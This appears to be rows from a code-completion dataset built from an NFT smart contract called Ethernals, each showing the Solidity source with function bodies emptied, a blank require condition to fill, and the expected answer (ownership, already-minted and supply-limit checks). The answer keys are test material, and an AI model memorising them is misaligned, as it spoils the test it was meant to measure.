function _checkOnERC721Received(address from, address to, uint tokenIndex, bytes memory _data) private returns (bool) {
}
/**
* @dev Internal function for approve another address to transfer the given token ID
* @param to address to be approved for the given token ID
* @param tokenIndex uint256 ID of the token to be approved
*/
function _approve(address to, uint tokenIndex) private {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint tokenIndex) internal virtual {}
}
| ownerOf(tokenIndex)==from,"ERC721: transfer of token that is not own" | 39,382 | ownerOf(tokenIndex)==from |
"Sale end" | pragma solidity ^0.8.0;
interface BurnablesInterface {
function ownerOf(uint256 tokenId) external view returns (address owner);
}
contract Ethernals is ERC721, ReentrancyGuard, Ownable {
using Strings for uint256;
using SafeMath for uint256;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.UintSet;
Counters.Counter private _tokenIdTracker;
Counters.Counter private _burnedTracker;
// Enumerable set of burnable ids that have minted
EnumerableSet.UintSet private _burnableMinters;
// burnables Contract
// mainnet
address public burnablesAddress = 0xF9b8E02A97780381ea1FbDd41D7706ACD163dd9A;
// rinkeby
// address public burnablesAddress = 0x54490f800df2E2A654CfdE8C9eB966C6A55771B1;
BurnablesInterface burnablesContract = BurnablesInterface(burnablesAddress);
string public baseTokenURI;
uint256 public constant MAX_PUBLIC_ELEMENTS = 1111;
uint256 public constant MINT_PRICE = 8 * 10**16;
event CreateBurnable(uint256 indexed id);
constructor() public ERC721("Ethernals", "FLAME") {}
modifier saleIsOpen {
require(<FILL_ME>)
_;
}
function totalSupply() public view returns (uint256) {
}
function _totalSupply() internal view returns (uint256) {
}
function _totalBurned() internal view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function totalMint() public view returns (uint256) {
}
function getBurnablesOwner(uint256 burnablesId) public view returns (address) {
}
function isBurnableMinted(uint256 burnablesId) public view returns (bool) {
}
// Minting reserved for burnables owners
function mintWithBurnable(uint256 burnablesId) public payable nonReentrant {
}
function mintPublic(uint256 _count) public payable saleIsOpen {
}
function price(uint256 _count) public pure returns (uint256) {
}
function _mintAnElement(address _to) private {
}
function donateEther() public payable {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
/**
* @dev Returns an URI for a given token ID
*/
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
/**
* @dev Burns and pays the token owner.
* @param _tokenId The token to burn.
*/
function burn(uint256 _tokenId) public {
}
// private _widthdraw function only callable by burn
function _widthdraw(address _address, uint256 _amount) private {
}
}
| _totalSupply()<=MAX_PUBLIC_ELEMENTS,"Sale end" | 39,385 | _totalSupply()<=MAX_PUBLIC_ELEMENTS |
"Not the owner of this burnable" | pragma solidity ^0.8.0;
interface BurnablesInterface {
function ownerOf(uint256 tokenId) external view returns (address owner);
}
contract Ethernals is ERC721, ReentrancyGuard, Ownable {
using Strings for uint256;
using SafeMath for uint256;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.UintSet;
Counters.Counter private _tokenIdTracker;
Counters.Counter private _burnedTracker;
// Enumerable set of burnable ids that have minted
EnumerableSet.UintSet private _burnableMinters;
// burnables Contract
// mainnet
address public burnablesAddress = 0xF9b8E02A97780381ea1FbDd41D7706ACD163dd9A;
// rinkeby
// address public burnablesAddress = 0x54490f800df2E2A654CfdE8C9eB966C6A55771B1;
BurnablesInterface burnablesContract = BurnablesInterface(burnablesAddress);
string public baseTokenURI;
uint256 public constant MAX_PUBLIC_ELEMENTS = 1111;
uint256 public constant MINT_PRICE = 8 * 10**16;
event CreateBurnable(uint256 indexed id);
constructor() public ERC721("Ethernals", "FLAME") {}
modifier saleIsOpen {
}
function totalSupply() public view returns (uint256) {
}
function _totalSupply() internal view returns (uint256) {
}
function _totalBurned() internal view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function totalMint() public view returns (uint256) {
}
function getBurnablesOwner(uint256 burnablesId) public view returns (address) {
}
function isBurnableMinted(uint256 burnablesId) public view returns (bool) {
}
// Minting reserved for burnables owners
function mintWithBurnable(uint256 burnablesId) public payable nonReentrant {
require(<FILL_ME>)
require(!_burnableMinters.contains(burnablesId), "This burnable already has minted.");
require(msg.value >= MINT_PRICE, "Value below price");
_burnableMinters.add(burnablesId);
_mintAnElement(msg.sender);
}
function mintPublic(uint256 _count) public payable saleIsOpen {
}
function price(uint256 _count) public pure returns (uint256) {
}
function _mintAnElement(address _to) private {
}
function donateEther() public payable {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
/**
* @dev Returns an URI for a given token ID
*/
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
/**
* @dev Burns and pays the token owner.
* @param _tokenId The token to burn.
*/
function burn(uint256 _tokenId) public {
}
// private _widthdraw function only callable by burn
function _widthdraw(address _address, uint256 _amount) private {
}
}
| burnablesContract.ownerOf(burnablesId)==msg.sender,"Not the owner of this burnable" | 39,385 | burnablesContract.ownerOf(burnablesId)==msg.sender |
"This burnable already has minted." | pragma solidity ^0.8.0;
interface BurnablesInterface {
function ownerOf(uint256 tokenId) external view returns (address owner);
}
contract Ethernals is ERC721, ReentrancyGuard, Ownable {
using Strings for uint256;
using SafeMath for uint256;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.UintSet;
Counters.Counter private _tokenIdTracker;
Counters.Counter private _burnedTracker;
// Enumerable set of burnable ids that have minted
EnumerableSet.UintSet private _burnableMinters;
// burnables Contract
// mainnet
address public burnablesAddress = 0xF9b8E02A97780381ea1FbDd41D7706ACD163dd9A;
// rinkeby
// address public burnablesAddress = 0x54490f800df2E2A654CfdE8C9eB966C6A55771B1;
BurnablesInterface burnablesContract = BurnablesInterface(burnablesAddress);
string public baseTokenURI;
uint256 public constant MAX_PUBLIC_ELEMENTS = 1111;
uint256 public constant MINT_PRICE = 8 * 10**16;
event CreateBurnable(uint256 indexed id);
constructor() public ERC721("Ethernals", "FLAME") {}
modifier saleIsOpen {
}
function totalSupply() public view returns (uint256) {
}
function _totalSupply() internal view returns (uint256) {
}
function _totalBurned() internal view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function totalMint() public view returns (uint256) {
}
function getBurnablesOwner(uint256 burnablesId) public view returns (address) {
}
function isBurnableMinted(uint256 burnablesId) public view returns (bool) {
}
// Minting reserved for burnables owners
function mintWithBurnable(uint256 burnablesId) public payable nonReentrant {
require(burnablesContract.ownerOf(burnablesId) == msg.sender, "Not the owner of this burnable");
require(<FILL_ME>)
require(msg.value >= MINT_PRICE, "Value below price");
_burnableMinters.add(burnablesId);
_mintAnElement(msg.sender);
}
function mintPublic(uint256 _count) public payable saleIsOpen {
}
function price(uint256 _count) public pure returns (uint256) {
}
function _mintAnElement(address _to) private {
}
function donateEther() public payable {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
/**
* @dev Returns an URI for a given token ID
*/
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
/**
* @dev Burns and pays the token owner.
* @param _tokenId The token to burn.
*/
function burn(uint256 _tokenId) public {
}
// private _widthdraw function only callable by burn
function _widthdraw(address _address, uint256 _amount) private {
}
}
| !_burnableMinters.contains(burnablesId),"This burnable already has minted." | 39,385 | !_burnableMinters.contains(burnablesId) |
"Max limit" | pragma solidity ^0.8.0;
interface BurnablesInterface {
function ownerOf(uint256 tokenId) external view returns (address owner);
}
contract Ethernals is ERC721, ReentrancyGuard, Ownable {
using Strings for uint256;
using SafeMath for uint256;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.UintSet;
Counters.Counter private _tokenIdTracker;
Counters.Counter private _burnedTracker;
// Enumerable set of burnable ids that have minted
EnumerableSet.UintSet private _burnableMinters;
// burnables Contract
// mainnet
address public burnablesAddress = 0xF9b8E02A97780381ea1FbDd41D7706ACD163dd9A;
// rinkeby
// address public burnablesAddress = 0x54490f800df2E2A654CfdE8C9eB966C6A55771B1;
BurnablesInterface burnablesContract = BurnablesInterface(burnablesAddress);
string public baseTokenURI;
uint256 public constant MAX_PUBLIC_ELEMENTS = 1111;
uint256 public constant MINT_PRICE = 8 * 10**16;
event CreateBurnable(uint256 indexed id);
constructor() public ERC721("Ethernals", "FLAME") {}
modifier saleIsOpen {
}
function totalSupply() public view returns (uint256) {
}
function _totalSupply() internal view returns (uint256) {
}
function _totalBurned() internal view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function totalMint() public view returns (uint256) {
}
function getBurnablesOwner(uint256 burnablesId) public view returns (address) {
}
function isBurnableMinted(uint256 burnablesId) public view returns (bool) {
}
// Minting reserved for burnables owners
function mintWithBurnable(uint256 burnablesId) public payable nonReentrant {
}
function mintPublic(uint256 _count) public payable saleIsOpen {
uint256 total = _totalSupply();
require(<FILL_ME>)
require(total <= MAX_PUBLIC_ELEMENTS, "Sale end");
require(msg.value >= price(_count), "Value below price");
for (uint256 i = 0; i < _count; i++) {
_mintAnElement(msg.sender);
}
}
function price(uint256 _count) public pure returns (uint256) {
}
function _mintAnElement(address _to) private {
}
function donateEther() public payable {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
/**
* @dev Returns an URI for a given token ID
*/
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
/**
* @dev Burns and pays the token owner.
* @param _tokenId The token to burn.
*/
function burn(uint256 _tokenId) public {
}
// private _widthdraw function only callable by burn
function _widthdraw(address _address, uint256 _amount) private {
}
}
| total+_count<=MAX_PUBLIC_ELEMENTS,"Max limit" | 39,385 | total+_count<=MAX_PUBLIC_ELEMENTS |
Subsets and Splits